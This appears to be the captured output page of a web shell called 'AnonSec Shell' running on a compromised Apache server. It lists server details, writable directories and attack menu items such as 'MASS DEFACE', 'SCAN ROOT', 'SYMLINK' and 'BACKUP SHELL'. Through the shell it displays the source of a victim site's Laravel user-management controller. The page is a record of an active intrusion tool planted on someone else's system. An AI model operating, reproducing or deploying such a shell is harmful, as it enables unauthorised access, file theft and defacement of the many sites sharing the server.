AnonSec Shell
Server IP : 172.67.168.138  /  Your IP : 216.73.216.227   [ Reverse IP ]
Web Server : Apache
System : Linux frog 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web13 ( 5017)
PHP Version : 8.3.31
Disable Function : NONE
Domains : 41 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client12/web13/web/ahelos/app/Http/Controllers/Backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/clients/client12/web13/web/ahelos/app/Http/Controllers/Backend//UserController.php
<?php

namespace App\Http\Controllers\Backend;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\{User, Language, Favorite};
use Illuminate\Support\Facades\Hash;
use Cache;

class UserController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $languages = Language::all();
        $users = User::filter(request(['email', 'phone', 'language', 'fname', 'lname']))
                    ->with('orders')
                    ->latest()
                    ->get();

        return view('layouts.backend.users.index', compact('users', 'languages'));
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        //
    }

    /**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
        $user = User::with(['addresses', 'orders'])->where('id', $id)->first();
        $favorites = Favorite::with('product')->where('user_id', $id)->get();

        return view('layouts.backend.users.show', compact('user', 'favorites'));
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {

        $data = $request->validate([
          'gender' => 'required',
          'fname' => 'required',
          'lname' => 'required',
          'phone' => 'required',
        ],
        [
          'required' => 'Задължително поле.',
        ]);

        $data['newsletter'] = $request->newsletter;

        if (trim($request->password) != '') {
          $request->validate([
            'password' => 'confirmed|min:3'
          ],
          [
            'confirmed' => 'Паролите не съвпадат.',
            'min' => 'Паролата трябва да бъде с дължина поне :min символа.',
          ]
        );
          $data['password'] = Hash::make($request->input('password'));
        }

        // $data['ip'] = request()->ip();
        // $data['email'] = Auth::user()->email;

        User::findOrFail($id)->update($data);

        return redirect()->back()->with('success', 'Профилът е обновен успешно.');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        //
    }
}

Anon7 - 2022
AnonSec Team